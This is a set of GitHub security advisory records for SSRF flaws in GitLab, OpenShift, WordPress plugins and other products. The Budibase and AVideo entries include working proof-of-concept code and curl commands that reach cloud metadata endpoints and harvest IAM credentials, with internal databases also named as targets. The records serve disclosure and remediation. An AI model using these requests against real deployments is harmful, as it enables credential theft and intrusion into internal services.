CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-7471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T06:16:25Z",
    "severity": "LOW"
  },
  "details": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.8 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with control of a virtual registry upstream to make requests to internal hosts due to improper validation.",
  "id": "GHSA-v3gx-42r7-j2h7",
  "modified": "2026-05-14T06:31:34Z",
  "published": "2026-05-14T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7471"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-54385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-16T15:15:12Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player allows Server Side Request Forgery.This issue affects Radio Player: from n/a through 2.0.82.",
  "id": "GHSA-v3qf-fgcw-33vg",
  "modified": "2026-04-01T18:32:50Z",
  "published": "2024-12-16T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54385"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/radio-player/vulnerability/wordpress-radio-player-plugin-2-0-82-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2012-10018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T07:15:03Z",
    "severity": "HIGH"
  },
  "details": "The Mapplic and Mapplic Lite plugins for WordPress are vulnerable to Server-Side Request Forgery in versions up to, and including 6.1, 1.0 respectively. This makes it possible for attackers to forgery requests coming from a vulnerable site\u0027s server and ultimately perform an XSS attack if requesting an SVG file.",
  "id": "GHSA-v3rv-7532-9gg6",
  "modified": "2024-10-16T09:30:30Z",
  "published": "2024-10-16T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-10018"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/161919"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/161920"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2503447"
    },
    {
      "type": "WEB",
      "url": "https://www.mapplic.com/docs/#changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5aacabb5-94af-485a-af24-e84db3e3726f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openshift/console"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-25T17:25:19Z",
    "nvd_published_at": "2024-11-25T07:15:06Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in OpenShift Console. A Server Side Request Forgery (SSRF) attack can happen if an attacker supplies all or part of a URL to the server to query. The server is considered to be in a privileged network position and can often reach exposed services that aren\u0027t readily available to clients due to network filtering. Leveraging such an attack vector, the attacker can have an impact on other services and potentially disclose information or have other nefarious effects on the system.\nThe /api/dev-console/proxy/internet endpoint on the OpenShit Console allows authenticated users to have the console\u0027s pod perform arbitrary and fully controlled HTTP(s) requests. The full response to these requests is returned by the endpoint.\nWhile the name of this endpoint suggests the requests are only bound to the internet, no such checks are in place. An authenticated user can therefore ask the console to perform arbitrary HTTP requests from outside the cluster to a service inside the cluster.",
  "id": "GHSA-v3w7-g6p2-mpx7",
  "modified": "2025-11-07T16:41:17Z",
  "published": "2024-11-25T09:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6538"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:14397"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:19058"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:7863"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:8280"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:8556"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-6538"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2296057"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openshift/console"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenShift Console Server Side Request Forgery vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in 2day.Sk, Webikon SuperFaktura WooCommerce.This issue affects SuperFaktura WooCommerce: from n/a through 1.40.3.",
  "id": "GHSA-v3wh-98rq-2x2m",
  "modified": "2026-04-28T21:34:52Z",
  "published": "2024-04-24T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32803"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-superfaktura/wordpress-superfaktura-woocommerce-plugin-1-40-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:44:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase\u0027s central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**\u0027s `fetch`. undici does not support the Node `agent` option \u2014 it is silently ignored \u2014 and instead uses its own `dispatcher`, which re-resolves the hostname\u0027s DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services \u2014 cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints \u2014 reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39\u201353).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55\u201368).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186\u2013192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** \u2014 `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767\u2013793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) =\u003e ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =\u003e\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: \u003cpinned Node Agent\u003e, dispatcher: \u003cgetDispatcher result\u003e }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** \u2014 `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` \u2192 `createDispatcher` \u2192 (no proxy env) \u2192 `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109\u2013114, ~161\u2013172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname\u0027s DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname \u2192 safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service \u2014 exactly the gap CVE-2026-54353\u0027s pin was meant to close.\n\n**Scope of impact / why it\u0027s REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract\u0027s `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim \u2014 sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc \u0026\u0026 cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat \u003e real/blacklist/index.ts \u003c\u003c\u0027EOF\u0027\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -\u003e validation passes\nexport async function resolveAddress(_a: string): Promise\u003cstring[]\u003e { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise\u003cboolean\u003e { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat \u003e entry.ts \u003c\u003c\u0027EOF\u0027\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) =\u003e r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise\u003cvoid\u003e(r =\u003e server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -\u003e 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -\u003e 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =\u003e\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  -\u003e\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   -\u003e\", B)\n\n  const bypass = A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass \u0026\u0026 contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass \u0026\u0026 contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y \u003e/dev/null 2\u003e\u00261\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:\u003crandom\u003e; guard validates host -\u003e 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -\u003e status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -\u003e ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:\u003crandom\u003e/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` \u2014 the internal service responded \u2192 **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard\u0027s validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici\u0027s connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) \u2192 steal IAM credentials \u2192 **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) \u2192 **all tenants\u0027 apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services \u2192 create admin documents, modify or **delete** tenant databases / flush caches \u2192 integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase\u0027s HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding \u2014 the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant\u0027s apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) \u2192 create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis \u2192 full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.",
  "id": "GHSA-v42f-v8xc-j435",
  "modified": "2026-08-12T19:22:50Z",
  "published": "2026-07-24T21:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via DNS rebinding in the REST datasource integration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-35512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF issue was discovered in Zoho ManageEngine Applications Manager build 15200.",
  "id": "GHSA-v44q-7w5x-w6hw",
  "modified": "2022-05-24T19:18:27Z",
  "published": "2022-05-24T19:18:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35512"
    },
    {
      "type": "WEB",
      "url": "https://www.esecforte.com/server-side-request-forgery-india-ssrf-rvd-manage-engine"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager/release-notes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:43:23Z",
    "nvd_published_at": "2026-03-21T00:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Scheduler plugin\u0027s `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler\u0027s callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e-\u003egetCallbackURL();\n$callBackURL = str_replace(\u0027$SITE_ROOT_TOKEN\u0027, $global[\u0027webSiteRootURL\u0027], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` \u2014 it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=\u003csession\u003e\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026status=a\u0026type=\u0026date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e-\u003egetCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check \u2014 same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```",
  "id": "GHSA-v467-g7g7-hhfh",
  "modified": "2026-04-13T17:40:20Z",
  "published": "2026-03-19T12:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/issues/10403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-21653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T21:17:03Z",
    "severity": "HIGH"
  },
  "details": "Victor SSRF vulnerability in Johnson Controls CCure 9000 and victor application server allows Server Side Request Forgery.\n\nThis issue affects CCure 9000 and victor application server: from 2.9 through 3.0.",
  "id": "GHSA-v48g-g9wj-ffhr",
  "modified": "2026-07-23T21:31:02Z",
  "published": "2026-07-23T21:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21653"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-36349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-24T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell EMC Data Protection Central versions 19.5 and prior contain a Server Side Request Forgery vulnerability in the DPC DNS client processing. A remote malicious user could potentially exploit this vulnerability, allowing port scanning of external hosts.",
  "id": "GHSA-v4gr-cw6x-c3jw",
  "modified": "2022-01-29T00:00:57Z",
  "published": "2022-01-25T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36349"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000195103"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}